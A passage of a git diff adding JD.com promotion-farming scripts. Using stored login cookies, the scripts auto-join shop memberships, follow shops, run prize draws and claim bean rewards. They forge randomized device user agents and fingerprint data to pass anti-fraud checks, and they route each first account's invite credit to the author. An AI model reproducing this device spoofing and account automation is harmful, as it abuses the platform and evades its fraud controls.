`https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else{ + console.log(`${res.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_opencard21.js b/backUp/gua_opencard21.js new file mode 100644 index 0000000..0540638 --- /dev/null +++ b/backUp/gua_opencard21.js @@ -0,0 +1,713 @@ +/* +9.1-9.6 联合开卡 [gua_opencard21.js] +新增开卡脚本 +一次性脚本 + +邀请一人有机会获得20豆(有可能没有豆 +开14张卡 每张有机会获得5京豆(有可能是空气💨 +开完卡获得抽奖1次 +关注获得抽奖1次 有机会获得10京豆 (有可能是空气💨 +加购获得抽奖1次 有机会获得5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku21]为"true" +抽奖有机会获得京豆(有可能是空气💨 + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard21="true" +———————————————— +入口 +复制👇: +27.0 9.1-9.6 联合开卡 ¥C5EiV3cGhjjuAG%/ +或者打开京东APP 扫描二维码👇: +https://raw.githubusercontent.com/smiek2221/scripts/master/images/gua_opencard21.png +============Quantumultx=============== +[task_local] +#9.1-9.6 联合开卡 +28 9,22 1-6 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js, tag=9.1-9.6 联合开卡, enabled=true + +================Loon============== +[Script] +cron "28 9,22 1-6 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js,tag=9.1-9.6 联合开卡 + +===============Surge================= +9.1-9.6 联合开卡 = type=cron,cronexp="28 9,22 1-6 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js + +============小火箭========= +9.1-9.6 联合开卡 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js, cronexpr="28 9,22 1-6 9 *", timeout=3600, enable=true +*/ +const $ = new Env('9.1-9.6 联合开卡'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = "false" +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku21 ? process.env.guaopencard_addSku21 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku21') ? $.getdata('guaopencard_addSku21') : `${guaopencard_addSku}`); +let guaopencard = "false" +guaopencard = $.isNode() ? (process.env.guaopencard21 ? process.env.guaopencard21 : guaopencard) : ($.getdata('guaopencard21') ? $.getdata('guaopencard21') : guaopencard); +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if(guaopencard+"" != "true"){ + console.log('如需执行脚本请设置环境变量[guaopencard21]为"true"') + } + if(guaopencard+"" != "true"){ + return + } + } + $.appkey = '51B59BB805903DA4CE513D29EC448375' + $.userId = '10299171' + $.actId = 'a8fbe2b74b864b1_901' + $.inviteNick = '4A55C1C0869C75061D11CDDC9F19631A331A03F763BD4352E7FC99787B30FBD349336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689' + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if(i == 0 && !$.MixNick) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.isvObfuscatorToken = $.MixNick = '' + $.howManyOpenCard = -1 + await getIsvObfuscatorToken(); + if($.isvObfuscatorToken == ''){ + console.log('获取[token]失败!') + return + } + await setMixNick(); + if($.MixNick == ''){ + console.log('获取[MixNick]失败!') + return + } + await loadUniteOpenCard({"inviteNick": $.inviteNick}); + if($.howManyOpenCard == -1) return + console.log(`开卡(${$.isOpenCard}/${$.howManyOpenCard})`) + await shopList(); + if ($.OpenCardList && $.howManyOpenCard - $.isOpenCard > 0) { + for (let card of $.OpenCardList) { + if(card.open == false){ + console.log(card.shopTitle) + let msg = await uniteOpenCardOne(card.userId); + if(msg === ''){ + await uniteOpenCardStats(); + await join(card.userId) + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await loadUniteOpenCard({"shopId": card.userId}); + } + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } + } + } + // if($.isFocusAward == 0){ + // console.log('未关注') + await followShop(); + // }else console.log('已关注') + // if($.isCartAward == 0){ + // console.log('未加购') + if(guaopencard_addSku+"" != "true"){ + console.log('如需加购请设置环境变量[guaopencard_addSku21]为"true"'); + }else await addCart(); + + // }else console.log('已加购') + await loadUniteOpenCard(); + console.log(`抽奖次数${$.usedChance}`) + for(j=1;$.usedChance-- && true;j++){ + console.log(`第${j}次`) + await draw() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + if(j >= 20) console.log('抽奖太多次了,请重新执行') + if(j >= 20) break + if($.usedChance <= 0) break + } + await myAward(); + await missionInviteList(); + if ($.index === 1) { + if($.MixNick){ + $.inviteNick = $.MixNick; + console.log(`后面的号都会助力:${$.inviteNick}`) + }else{ + console.log('账号1获取不到[MixNick]退出执行,请重新执行') + return + } + } + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} + +function myAward() { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/myAward", {"actId": $.actId}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`${res.msg || "我的奖品:"+res.data.msg || ''}`) + console.log(`我的奖品:`) + let num = 0 + let sum = 0 + for(let i in res.data.list){ + let item = res.data.list[i] + if(item.awardTitle == '20个京豆') { + // console.log(item.shopId) + num++; + }else{ + if(item.awardTitle.indexOf('个京豆') == -1){ + console.log(`${item.remark || ''}`) + }else{ + // console.log(`${item.awardTitle || ''}`) + sum += parseInt(item.awardTitle.replace('个京豆',''),10) + } + } + } + if(num > 0) console.log(`邀请好友(${num}):${num*20}京豆`) + console.log(`共获得${sum+num*20}京豆`) + }else if(res.msg){ + console.log(`我的奖品 ${res.msg || ''}`) + }else{ + console.log(`我的奖品 ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function missionInviteList() { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/missionInviteList", {"actId": $.actId}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`${res.msg || "我的邀请:"+res.data.msg || ''}`) + $.log(`=========== 你邀请了:${res.data.total}个`) + }else if(res.msg){ + console.log(`我的邀请 ${res.msg || ''}`) + }else{ + console.log(`我的邀请 ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的邀请 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function draw() { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/draw", {"actId": $.actId}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + let msg = res.msg|| res.data.msg.length > 3 && res.data.msg || res.data.jdAwardLog && res.data.jdAwardLog.remark || '空气💨' + console.log(`抽奖: ${msg}`) + if(msg.indexOf('实物') > -1) console.log($.toStr(res)) + }else if(res.msg){ + console.log(`抽奖 ${res.msg || '空气💨'}`) + }else{ + console.log(`抽奖 ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function addCart() { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/addCart", {"actId": $.actId, "missionType": "addCart"}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`加购:${res.msg || res.data.msg || '空气💨'}`) + + }else if(res.msg){ + console.log(`加购 ${res.msg || '空气💨'}`) + }else{ + console.log(`加购 ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`加购 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/followShop", {"actId": $.actId, "missionType": "collectShop"}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`关注:${res.msg || res.data.msg || '空气💨'}`) + + }else if(res.msg){ + console.log(`关注 ${res.msg || '空气💨'}`) + }else{ + console.log(`关注 ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`关注 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function uniteOpenCardStats() { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/uniteOpenCardStats", {"actId": $.actId, "pushWay": 1, "missionType": "pv"}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) + + }else if(res.msg){ + console.log(`uniteOpenCardStats ${res.msg || ''}`) + }else{ + console.log(`uniteOpenCardStats ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`uniteOpenCardStats ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function uniteOpenCardOne(shopId) { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/uniteOpenCardOne", {"actId": $.actId, "shopId": shopId}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) + resolve(res.msg || res.data.msg || '') + }else if(res.msg){ + console.log(`uniteOpenCardOne ${res.msg || ''}`) + }else{ + console.log(`uniteOpenCardOne ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`uniteOpenCardOne ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(''); + } + }) + }) +} +function shopList() { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/shopList", {"actId": $.actId}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) + if(res.data && typeof res.data != 'undefined') $.OpenCardList = res.data || [] + + }else if(res.msg){ + console.log(`shopList ${res.msg || ''}`) + }else{ + console.log(`shopList ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`shopList ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function loadUniteOpenCard(body = {}) { + return new Promise(resolve => { + const options = taskPostUrl("/openCard/loadUniteOpenCard", {"actId": $.actId, ...body}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) + if(res.data && res.data.succ === true && typeof res.data.customer.isOpenCard != 'undefined') $.isOpenCard = res.data.customer.isOpenCard || 0 + if(res.data && res.data.succ === true && typeof res.data.customer.isFocusAward != 'undefined') $.isFocusAward = res.data.customer.isFocusAward || 0 + if(res.data && res.data.succ === true && typeof res.data.customer.isCartAward != 'undefined') $.isCartAward = res.data.customer.isCartAward || 0 + if(res.data && res.data.succ === true && typeof res.data.customer.usedChance != 'undefined') $.usedChance = res.data.customer.usedChance || 0 + if(res.data && res.data.succ === true && typeof res.data.jdActivitySetting.howManyOpenCard != 'undefined') $.howManyOpenCard = res.data.jdActivitySetting.howManyOpenCard || 17 + + }else if(res.msg){ + console.log(`loadUniteOpenCard ${res.msg || ''}`) + }else{ + console.log(`loadUniteOpenCard ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`loadUniteOpenCard ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function setMixNick() { + return new Promise(resolve => { + const options = 